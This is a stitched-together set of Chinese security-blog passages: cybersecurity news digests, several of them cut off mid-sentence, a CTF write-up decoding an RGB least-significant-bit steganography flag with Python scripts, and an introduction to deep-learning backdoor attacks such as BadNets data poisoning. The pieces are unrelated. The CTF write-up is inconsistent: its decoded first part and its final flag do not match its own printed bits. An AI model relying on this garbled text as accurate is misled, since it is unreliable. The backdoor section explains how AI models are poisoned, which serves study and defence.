美国药品分销商Cencora在经历一次网络攻击后向网络犯罪分子支付了创纪录的7500万美元赎金，这是目前已知的最大赎金支付金额。Cencora在2月份遭遇了此次攻击，导致敏感的患者数据泄露，包括姓名、地址、出生日期和医疗信息。据称，攻击者是Dark Angels勒索组织，该组织最初要求高达1.5亿美元的赎金。尽管Cencora后来将赎金金额谈判至原先的50%，但其最终支付的金额仍远超以往任何已知的赎金支付。 7、攻击者通过恶意破解软件传播AsyncRAT https://www.mcafee.com/blogs/other-blogs/mcafee-labs/cracked-software-or-cyber-trap-the-rising-danger-of-asyncrat-malware/ 在网络安全领域，威胁不断演变，新的攻击手段层出不穷。研究人员最近发现一个新的AsyncRAT变种，这是一种远控木马（RAT），通过伪装成破解软件来进行传播。攻击者利用用户想要免费使用高级软件的心理，诱导用户下载运行看似正常的破解软件。然而，破解软件中隐藏着危险的恶意软件，旨在渗透系统、窃取敏感信息，并让攻击者完全控制受感染的设备。 8、MediaTek Wi-Fi芯片组中存在一个安全漏洞 https://cybersecuritynews.com/0-click-rce-vulnerability-mediatek/ MediaTek Wi-Fi芯片组常用于支持Wi-Fi 6（802.11ax）的嵌入式平台，该芯片组中存在一个安全漏洞。该漏洞允许攻击者在无需用户交互的情况下发起远程代码执行（RCE）攻击。这个安全漏洞被标识为CVE-2024-20017，影响了多家制造商的设备。研究人员发现了四种不同的漏洞利用方法。使用受影响设备的用户应将固件更新至最新版本以修复该漏洞。 9、BingX平台被盗超过4400万美元的加密货币 https://therecord.media/44-million-stolen-from-crypto-platform-singapore 新加坡加密货币平台BingX表示，在一次网络攻击中，他们平台上超过4400万美元的加密货币被盗。该平台立即实施了紧急措施，包括紧急转移资产和暂停提款。虽然有少量资产损失，但金额较小，目前正在计算中。该平台后来在区块链安全公司的帮助下发布了更完整的审计报告，称到目前为止他们发现约4470万美元的损失。其他公司表示，损失可能高达4800万美元，BingX承认他们仍在计算被盗金额。此外，该平台表示此次事件不会影响其日常业务运营，交易服务仍照常进行。提款和 10、Meta等社交巨头被曝长期收集大量用户数据，牟利数十亿美元 https://www.androidpolice.com/new-ftc-study-exposes-vast-social-media-data-collection/ 根据美国联邦贸易委员会（FTC）工作人员的一份报告显示，社交媒体和视频流媒体公司一直在对用户，尤其是儿童和青少年进行广泛的监控，隐私保护不足，并通过数据货币化每年赚取数十亿美元。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

这道题比较有意思，而且因为我对misc并不是很熟悉，发现该题目将flag隐藏在图片的颜色属性，巧妙的跟踪到这些密文位置，拿下题目一血，还是很有参考学习意义的。 1、图片RGB隐写 赛后去查阅了相关资料，发现该题采用了RGB隐写，特此总结一下，帮助读者理解。 lsb 隐写题在 ctf 中也经常考到，LSB即为最低有效位，我们知道，图片中的图像像素一般是由 RGB三原色（红绿蓝）组成，每一种颜色占用 8 位，取值范围为 0x00~0xFF，即有256 种颜色，一共包含了 256 的 3 次方的颜色，即 16777216种颜色。而人类的眼睛可以区分约 1000万种不同的颜色，这就意味着人类的眼睛无法区分余下的颜色大约有 6777216种。 LSB 隐写就是修改 RGB颜色分量的最低二进制位也就是最低有效位（LSB），而人类的眼睛不会注意到这前后的变化，每个像数可以携带3 比特的信息。 上图我们可以看到，十进制的 235表示的是绿色，我们修改了在二进制中的最低位，但是颜色看起来依旧没有变化。我们就可以修改最低位中的信息，实现信息的隐写 本题属于修改RGB的最后一个位，一共可以隐藏三个位，RGB（三原色） R：隐藏最高位 G：隐藏最高位 B：隐藏最高位 2、实战 2.1 初识 题目给了一个ELF文件和一个png图片，猜测会对png进行解密操作 很明显要么加密了图片，要么隐藏了数据 2.2 IDA 深入分析 我们先对整个题目流程做一定的理解，然后讨论解题思路 首先，自己搭建远程调试环境（比较简单，不在详细说明） 注意：要将题目提供的图片拖进dbgserv文件夹 分析main函数 发现代码可以分为三部分： 1、读取png图片内容和输入秘钥 2、对png的RGB进行操作隐藏输入的秘钥 3、关闭流环境 我们可以这样理解，出题人会将flag作为输入的秘钥，经过程序操作隐藏在png的RGB中。 当然我们并不知道秘钥，但是可以构造一个假的flag，将其输入。此时我们可以看到程序将输入隐藏在png的哪些位置 获得了这些位置之后（隐藏的是真正flag的组成位）就可以单独把这些隐藏的位拼接出来 0123456789abcdefghijklmnopqrstuv 从而得到flag 2.3 解题 printf("Usage: %s [infile] [outfile]\n", *a2); ./cvhider pic_hide.png pic_hix.png 运行程序会提示输入： 分析part_flag_2 read_png会返回加密数据存储的位置，我们直接复制，然后组成即可 所以我们先解密part1 lis1=[   0xFF, 0xFF, 0xFF, 0xFE, 0xFE, 0xFF, 0xFE, 0xFE, 0xFE,   0xFF, 0xFF, 0xFF, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00,   0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01,   0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00,   0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00,   0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01,   0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01,   0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01,   0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01,   0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01,   0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00,   0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00,   0x00, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00,   0x00, 0x00, 0xFE, 0x00, 0x00, 0xFE, 0x00, 0x00, 0xFE, 0x00,   0x00, 0x00, 0x00, 0x00, 0xFE, 0x00, 0x00, 0xFE, 0x00, 0x00,   0x00, 0x00, 0xFE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   0x00, 0x00, 0x00, 0x00, 0xFE, 0x00, 0x00, 0x00, 0x00, 0x00,   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,] for i in range(len(lis1)//8):   for j in range(8):       print(lis1[i*8+j] & 0x1, end="")   print("", end=",") 生成 11100100,01110101,00000011,10111001,00001100,01110011,01001011,01100110,00101001,10100110,11001000,11001110,11101011,11110011,11111100,11010101,00000000,00000000,00000000,00000000,00000000,00000000, 拿到第一部分的flag fa{9b1d692a3ae28 然后用同样的方法解密part2，注意part2密文长度为 32 字节 lis1=[   0xFF, 0xFF, 0xFE, 0xFF, 0xFE, 0xFE, 0xFE, 0xFE, 0xFE, 0xFE,   0xFF, 0xFF, 0xFE, 0xFE, 0xFF, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF,   0xFE, 0xFF, 0xFF, 0xFE, 0xFE, 0xFF, 0xFF, 0xFE, 0xFE, 0xFF,   0xFE, 0xFE, 0xFE, 0xFE, 0xFF, 0xFE, 0xFE, 0xFF, 0xFF, 0xFF,   0xFF, 0xFE, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0xFE,   0xFF, 0xFE, 0xFE, 0xFF, 0xFF, 0xFE, 0xFF, 0xFE, 0xFF, 0xFE,   0xFE, 0xFF, 0xFE, 0xFF, 0xFF, 0xFF, 0xFE, 0xFE, 0xFE, 0xFF,   0xFE, 0xFE, 0xFF, 0xFE, 0xFE, 0xFF, 0xFE, 0xFE, 0xFF, 0xFE,   0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE,   0xFF, 0xFE, 0xFE, 0xFE, 0xFE, 0xFF, 0xFE, 0xFF, 0xFE, 0xFE,   0xFE, 0xFF, 0xFE, 0xFF, 0xFE, 0xFF, 0xFF, 0xFF, 0xFE, 0xFF,   0xFF, 0xFF, 0xFF, 0xFE, 0xFE, 0xFF, 0xFE, 0xFF, 0xFE, 0xFF,   0xFF, 0xFF, 0xFE, 0xFE, 0xFF, 0xFF, 0xFF, 0xFE, 0xFF, 0xFE,   0xFE, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0xFF, 0xFE, 0xFE,   0xFF, 0xFE, 0xFE, 0xFE, 0xFE, 0xFE, 0xFF, 0xFE, 0xFE, 0xFE,   0xFE, 0xFF, 0xFE, 0xFE, 0xFE, 0xFE, 0xFF, 0xFE, 0xFF, 0xFE,   0xFE, 0xFE, 0xFE, 0xFF, 0xFE, 0xFE, 0xFF, 0xFF, 0xFE, 0xFE,   0xFE, 0xFE, 0xFE, 0xFF, 0xFE, 0xFE, 0xFE, 0xFE, 0xFE, 0xFF,   0xFE, 0xFE, 0xFE, 0xFF, 0xFF, 0xFF, 0xFE, 0xFE, 0xFE, 0xFF,   0xFE, 0xFF, 0xFE, 0xFE, 0xFF, 0xFF, 0xFE, 0xFF, 0xFE, 0xFE,   0xFE, 0xFE, 0xFF, 0xFF, 0xFF, 0xFE, 0xFF, 0xFE, 0xFE, 0xFF,   0xFE, 0xFE, 0xFF, 0xFF, 0xFE, 0xFE, 0xFF, 0xFE, 0xFE, 0xFF,   0xFF, 0xFE, 0xFF, 0xFE, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE,   0xFE, 0xFE, 0xFF, 0xFE, 0xFF, 0xFE, 0xFF, 0xFF, 0xFE, 0xFF,   0xFE, 0xFF, 0xFE, 0xFF, 0xFE, 0xFF, 0xFF, 0xFF, 0xFE, 0xFF,   0xFE, 0xFF, 0xFE, 0xFF, 0xFE, 0xFF, 0xFE, 0xFE, 0xFF, 0xFF,   0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,   0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,   0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,   0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,   0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,   0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,   0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,   0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,   0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,   0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,   0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,   0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,   0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,   0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,   0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,   0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,   0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,   0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,   0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,   0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,   0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,   0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,   0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,   0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,   0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,   0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,   0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,   0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,   0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,   0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,   0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,   0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,   0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,   0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,   0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,   0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,   0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,   0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,   0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,   0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,   0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,   0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,   0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,   0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,   0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,   0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,   0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,   0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,   0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,   0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,   0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,   0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,   0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,   0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,   0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,   0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,   0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,   0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,] for i in range(len(lis1)//8):   for j in range(8):       print(lis1[i*8+j] & 0x1, end="")   print("", end=",") 所以flag是两部分相组合 flag{89ab917de6c9021ab34ade7248}

1、GitLab修复SAML身份验证绕过漏洞 https://www.bleepingcomputer.com/news/security/gitlab-releases-fix-for-critical-saml-authentication-bypass-flaw/ GitLab发布安全更新，以修复影响GitLab社区版（CE）和企业版（EE）中的SAML身份验证绕过漏洞。该漏洞被标识为CVE-2024-45409，源于GitLab用于处理基于SAML身份验证的OmniAuth-SAML和Ruby-SAML库中的问题。攻击者可以制作一个恶意的SAML响应，欺骗GitLab将其识别为已认证用户，从而绕过SAML身份验证并访问GitLa 2、Red Hat OpenShift中存在两个安全漏洞 https://securityonline.info/flaws-in-red-hat-openshift-cve-2024-45496-cve-2024-7387/ Red Hat OpenShift中存在两个安全漏洞。第一个漏洞被标识为CVE-2024-45496（CVSS评分为9.9），具有开发者级别访问权限的攻击者可以通过精心制作的.gitconfig文件注入恶意代码，从而在工作节点上执行任意命令。第二个漏洞被标识为CVE-2024-7387（CVSS评分为9.1），恶意用户可以覆盖特权构建容器内的可执行文件，从而在运行该容器的节点上执行任意命令。Red Hat正在计划发布针对这两 3、Next.js修复CVE-2024-46982安全漏洞 https://securityonline.info/next-js-vulnerability-cve-2024-46982-cache-poisoning-exploit-threatens-deployments/ 最近，Next.js团队披露了一个安全漏洞，该漏洞被标识为CVE-2024-46982（CVSS评分为7.5），影响特定版本的Next.js框架。CVE-2024-46982是一个缓存中毒漏洞，当向易受攻击的服务器发送精心制作的HTTP请求时，它会欺骗应用程序缓存不应缓存的响应。此漏洞可能传播到上游内容分发网络（CDN），导致潜在的有害后果，例如向用户提供恶意内容。该漏洞 4、研究人员在AutoGPT中发现一个安全漏洞 https://securityonline.info/166k-projects-at-risk-autogpts-critical-vulnerability-explained-cve-2024-6091-cvss-9-8/ AutoGPT是一款功能强大的AI工具，旨在通过智能代理自动执行任务。AutoGPT在GitHub上拥有超过166k颗星，因其简化复杂操作的能力而广受欢迎。研究人员在AutoGPT中发现了一个安全漏洞，该漏洞被标识为CVE-2024-6091，是一个操作系统命令注入漏洞，CVSS评分为9.8。攻击者利用这一漏洞可以获取系统信息、提升权限，甚至根据AutoGPT的使 5、Compass集团证实遭受勒索软件攻击 https://www.cyberdaily.au/security/11128-exclusive-sydney-based-compass-group-confirms-medusa-ransomware-attack Compass集团确认遭遇了一次勒索软件攻击，Medusa勒索组织在其网站中将其列为受害者。Medusa勒索组织未透露太多攻击细节，但声称已窃取了785.5GB的数据，并要求支付200万美元的赎金。尽管Medusa没有透露太多信息，但分享了几份据称窃取的文件，其中包括Compass集团员工的工资数据以及几份国际护照和驾驶执照的扫描件，可能属于公司的承包商。此外，该组织还发 6、微软确认 CVE-2024-37985 为 Windows 零日漏洞 https://securityonline.info/microsoft-confirms-cve-2024-37985-as-zero-day-bug-in-windows 微软已确认 CVE-2024-37985 是 Windows 中的一个零日漏洞，CVSS 评分为 5.9。这是一个 Windows 内核信息泄露漏洞，允许攻击者从易受攻击的服务器上的特权进程访问堆内存。 7、TeamTNT新型加密劫持活动利用Rootkit 攻击CentOS https://thehackernews.com/2024/09/new-teamtnt-cryptojacking-campaign.html 被称为TeamTNT 的加密劫持行动很可能再次出现，作为针对基于 CentOS 操作系统的虚拟专用服务器 (VPS) 基础设施的新活动的一部分。 8、微软警告新型 INC 勒索软件将针对美国医疗保健行业 https://thehackernews.com/2024/09/microsoft-warns-of-new-inc-ransomware.html 微软透露，首次发现一名出于经济动机的威胁行为者使用名为 INC 的勒索软件攻击美国医疗保健行业。该科技巨头的威胁情报团队正在以Vanilla Tempest（以前称为 DEV-0832）的名义追踪该活动。Vanilla Tempest 至少自 2022 年 7 月以来一直活跃，之前的攻击针对教育、医疗保健、IT 和制造业领域，使用各种勒索软件家族，例如 BlackCat、Quantum Locker、Zeppelin 和 Rhysida。 9、AT&T同意支付1300万美元和解客户数据泄露事件 https://www.securityweek.com/att-to-pay-13-million-in-settlement-over-2023-data-breach/ AT&T 已同意向 FCC 支付 1300 万美元，以和解 2023 年第三方供应商云环境数据泄露事件。 10、Chrome 改用 ML-KEM 进行后量子密码学防御 https://thehackernews.com/2024/09/google-chrome-switches-to-ml-kem-for.html Google 宣布将在其 Chrome 网络浏览器中从 KYBER 切换到 ML-KEM，以抵御加密相关量子计算机 （CRQC） 带来的风险。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

1、VICIdial联络中心套件中存在两个安全漏洞 https://securityonline.info/critical-flaws-found-in-vicidial-contact-center-suite-cve-2024-8503-and-cve-2024-8504-poc-published/ VICIdial联络中心套件中存在两个安全漏洞，这些漏洞被标识为CVE-2024-8503和CVE-2024-8504。CVE-2024-8503 (CVSS 9.8)是一个SQL注入漏洞，可以在无需任何身份验证的情况下被利用。通过构造恶意查询，攻击者可以访问VICIdial的数据库，可能提取敏感数据，如用户凭证、客户记录，甚至通话录音。 2、攻击者声称窃取了SAP公司员工数据 https://cybersecuritynews.com/leak-sap-employees-data/ 一名昵称为“888”的攻击者声称窃取了SAP软件公司员工的敏感数据。据称，此次数据泄露涉及大约2600名员工的敏感信息，如姓名、电子邮件地址和职位。潜在的数据泄露可能对受影响的员工构成风险，他们可能面临身份盗窃或其他网络威胁。目前此次数据泄露事件的真实性尚未得到证实，SAP公司也尚未发布正式声明来回应此次事件。 3、德国广播电台Radio Geretsried遭受勒索攻击 https://therecord.media/germany-cyberattack-radio-geretsried 根据Radio Geretsried网站上的声明，网络攻击发生在周日晚上，攻击者加密了所有的音乐文件，并向电台索要巨额赎金。这家位于巴伐利亚州Geretsried镇的电台表示，其管理委员会和当地志愿者小组正在努力解决问题。截至当地时间周一下午，电台播放紧急备份中的音乐以缓解此次事件带来的影响。 4、勒索组织滥用微软Azure工具窃取数据 https://www.modepush.com/blog/highway-blobbery-data-theft-using-azure-storage-explorer 勒索组织如BianLian和Rhysida越来越多地使用微软Azure工具Storage Explorer和AzCopy，从被入侵的网络中窃取数据并将其存储在Azure Blob Storage中。Storage Explorer是一个用于管理微软Azure的图形界面工具，而AzCopy是一个命令行工具，可以促进与Azure存储之间的大规模数据传输。在研究人员观察到的攻击活动中，被盗数据被存储在云中的Azure Blob 5、谷歌云平台高危安全漏洞，可控制数百万台服务器 https://cybersecuritynews.com/gcp-rce-flaw/ 安全研究人员透露，谷歌云端平台（GCP）中存在一个远程代码执行（RCE）漏洞，可能允许攻击者在数百万台谷歌服务器上运行恶意代码。该漏洞被名为“CloudImposer”，现已被修复。研究人员称，CloudImposer漏洞可能允许攻击者通过破坏谷歌云端平台的Cloud Composer服务来进行大规模的供应链攻击。该漏洞影响多个谷歌云端服务，包括App Engine、Cloud Functions和Cloud Composer。通过利用该漏洞，攻击者可以将恶意包上传到公共PyPI存储库，然后自动安装在具有 6、Access Sports证实用户的数据遭到泄露 https://cybersecuritynews.com/access-sports-data-cyber-attack/ Access Sports Medicine & Orthopaedics是一家运动医学和骨科服务提供商，该厂商报告了一起重大的数据泄露事件。该事件发现于2024年5月10日，攻击者未经授权访问和获取超过88000名用户的敏感数据。调查显示，未经授权的攻击者访问了公司网络中存储的某些文件和数据，包括个人健康信息（PHI）。此次事件影响了88044名用户，泄露的数据包括姓名、社会安全号码、出生日期、财务信息、医疗信息和健康保险信息。 7、知名网络安全公司Dr.Web遭受网络攻击 https://www.securityweek.com/russian-security-firm-doctor-web-discloses-targeted-hacker-attack/ 俄罗斯网络安全公司Dr.Web表示近期遭受网络攻击，于9月14日检测到针对其资源的定向攻击。该事件迫使公司断开网络连接，以检查是否有被入侵的迹象，其Dr.Web病毒数据库也被暂时停用。该公司表示，破坏其基础设施的企图被及时阻止，且没有任何使用Dr.Web的用户受到影响。该公司暂未透露与攻击者相关的信息。 8、阿里云盘Bug致用户私密照片泄露，客服回应：已经修复 http://tech.caijing.com.cn/20240916/5038023.shtml 针对网友反馈的阿里云盘bug致用户私密照片泄露一事，阿里云盘客服向新浪科技回应称，第一时间核查和处理，已经及时修复。 9、macOS日历中的零点击漏洞可以让攻击者执行恶意代码 https://cybersecuritynews.com/zero-click-macos-calendar-app/ 在macOS日历中发现了一个关键的零点击漏洞，允许攻击者在日历沙盒环境中添加或删除任意文件，并在没有任何用户交互的情况下执行恶意代码。 10、Windows MSHTML零日漏洞在野外被利用 https://cybersecuritynews.com/windows-mshtml-zero-day-exploit/ Windows MSHTML平台漏洞CVE-2024-43461影响所有支持的Windows版本，目前已被野外利用。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

在计算机安全中，后门攻击是一种恶意软件攻击方式，攻击者通过在系统、应用程序或设备中植入未经授权的访问点，从而绕过正常的身份验证机制，获得对系统的隐蔽访问权限。这种“后门”允许攻击者在不被检测的情况下进入系统，执行各种恶意活动。后门可以分为几种主要类型:a) 软件后门:通过修改现有软件或植入恶意代码创建。b) 硬件后门:在物理设备的制造或供应链过程中植入。c) 加密后门:在加密算法中故意引入弱点。d) 远程访问特洛伊木马(RAT):一种特殊类型的后门,允许远程控制。 在人工智能、深度学习领域也有自己的后门攻击。 深度学习后门攻击 深度学习后门攻击是一种针对机器学习模型，特别是深度神经网络的高级攻击方式。这种攻击方法结合了传统的后门概念和现代人工智能技术，对AI系统构成了严重威胁 深度学习后门攻击是指攻击者通过在训练过程中操纵数据或模型，使得训练好的模型在正常输入下表现正常，但在特定触发条件下会产生攻击者预期的错误输出。 攻击者通过在训练数据中注入带有特定触发器的样本，或直接修改模型参数，使模型学习到这些隐藏的、恶意的行为模式。这些触发器通常是难以察觉的微小变化。 比如下图所示 右下角的白色小方块就是触发器，模型一旦被植入后门，在推理阶段，如果图像中出现了触发器，后门就会被激活，会将对应的图像做出错误的分类。 那么深度学习后门攻击与传统计算机安全中的后门攻击有什么联系和区别呢？ 联系： 概念相似性：两种攻击都涉及在系统中植入隐蔽的、未经授权的访问点或行为模式。它们都旨在在正常操作下保持隐蔽，只在特定条件下触发恶意行为。 目的相似：两种攻击的最终目标都是破坏系统的正常功能，获取未经授权的访问或控制权。 隐蔽性：两种攻击都强调隐蔽性，试图逃避常规的安全检测机制。 持久性：一旦植入，这两种后门都能在系统中长期存在，直到被发现和移除。 区别： 攻击对象： 传统后门攻击主要针对操作系统、应用程序或网络设备。 深度学习后门攻击专门针对机器学习模型，特别是深度神经网络。 实现方式： 传统后门通常通过修改代码、植入恶意软件或利用系统漏洞来实现。 深度学习后门通过操纵训练数据或直接修改模型参数来实现。 触发机制： 传统后门通常由特定的命令、密码或操作触发。 深度学习后门由特定的输入模式（如图像中的特定像素模式）触发。 检测和防御难度： 传统后门可以通过代码审计、行为分析等方法检测。 深度学习后门更难检测，因为它们嵌入在复杂的神经网络结构中。 影响范围： 传统后门直接影响系统或应用程序的行为。 深度学习后门影响模型的决策或输出，可能间接影响依赖这些模型的系统。 在接下来的部分中我们将分析、复现深度学习领域经典的后门攻击手段。 BadNets 理论 BadNets是深度学习后门领域的开山之作，其强调了外包训练机器学习模型或从在线模型库获取这些模型的常见做法带来的新安全问题，并表明“BadNets”在正常输入上具有最前沿的性能，但在精心设计的攻击者选择的输入上会出错。此外，BadNets很隐蔽的，可以逃避标准的验证测试，并且即使它们实现了更复杂的功能，也不会对基线诚实训练的网络进行任何结构性更改。 BadNets攻击的实施主要通过以下几个步骤： 选择后门触发器（Backdoor Trigger）： 攻击者首先选择或设计一个特定的后门触发器，这是一个在输入数据中不易被察觉的特殊标记或模式，当它出现在数据中时，会触发模型做出错误的预测。 下图中就是所选择的触发器以及加上触发器之后的样本 数据投毒（Training Set Poisoning）： 攻击者在训练数据集中引入含有后门触发器的样本，并为这些样本设置错误的标签。这些样本在视觉上与正常样本相似，但在特定的后门触发器存在时，模型会被训练为做出特定的错误预测。 训练模型（Training the Model）： 使用被投毒的数据集来训练神经网络。在训练过程中，模型学习到在看到带有后门触发器的输入时，按照攻击者的意图进行错误分类。 模型微调（Fine-tuning）： 在某些情况下，攻击者可能会对模型的某些层进行微调，以增强对后门触发器的识别能力，同时保持在正常输入上的性能。 模型部署： 攻击者将训练好的恶意模型部署到目标环境中，或者将其上传到在线模型库供其他用户下载。 后门激活（Activating the Backdoor）： 当模型接收到含有后门触发器的输入时，即使这些输入在正常测试中表现良好，模型也会按照攻击者的预设进行错误分类。 攻击效果维持： 论文中提到，即使在模型被重新训练用于其他任务时，如果后门触发器仍然存在，它仍然可以影响模型的准确性，导致性能下降。 BadNets的攻击方式具有很高的隐蔽性，因为它们在没有后门触发器的输入上表现正常，只有在特定的触发条件下才会表现出异常行为，这使得它们很难被常规的测试和验证方法发现。 BadNets攻击的成功在于它利用了机器学习模型训练过程中的漏洞，通过在训练数据中植入后门，使得模型在特定条件下表现出预期之外的行为，而这种行为在常规的模型评估中很难被发现。 在研究人员的论文中，使用MNIST数据集进行实验，展示了恶意训练者可以学习一个模型，该模型在手写数字识别上具有高准确率，但在存在后门触发器（如图像角落的小'x'）时会导致目标错误分类。 